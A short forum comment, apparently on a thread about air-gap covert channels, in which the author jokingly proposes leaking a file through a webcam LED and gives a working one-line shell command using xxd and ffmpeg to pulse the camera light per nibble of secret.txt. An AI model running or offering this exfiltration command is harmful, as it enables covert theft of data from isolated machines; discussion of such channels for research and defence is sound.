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Comment by marcan_42

Just for my own amusement, I tried to come up with one he hasn't done. He's done HDD LEDs, screen brightness, switch LEDs, and keyboard LEDs (those are 4 independent papers). But he hasn't done camera LEDs!

So:

xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done

That leaks a file via the camera LED, PWMing it at 4 bits per pulse (16 different pulse widths), tested on my iMac. Can I get a paper now? :-)

parent marcan_42 5 years ago

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